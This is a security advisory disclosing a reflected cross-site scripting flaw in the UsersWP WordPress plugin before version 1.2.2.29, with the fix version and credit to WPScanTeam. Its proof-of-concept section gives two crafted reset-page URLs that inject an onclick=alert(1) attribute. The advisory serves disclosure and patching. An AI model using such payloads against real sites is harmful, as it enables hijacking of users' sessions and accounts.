WordPress Plugin Vulnerabilities

UsersWP < 1.2.2.29 - Reflected Cross-Site Scripting

Description

The plugin sanitises user input via sanitize_text_field() but do not escape it before outputting it back in attributes, leading to Reflected Cross-Site Scripting issues

Proof of Concept

On the reset page made by the plugin:

https://example.com/reset/?key=a&login=%22accesskey=X%20onclick=alert(1)%20b=%22
https://example.com/reset/?key=%22accesskey=X%20onclick=alert(1)%20b=%22&login=a

Affects Plugins

Fixed in 1.2.2.29

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
WPScanTeam
Verified
Yes

Timeline

Publicly Published
2021-09-06 (about 2 years ago)
Added
2021-09-06 (about 2 years ago)
Last Updated
2021-09-06 (about 2 years ago)

Other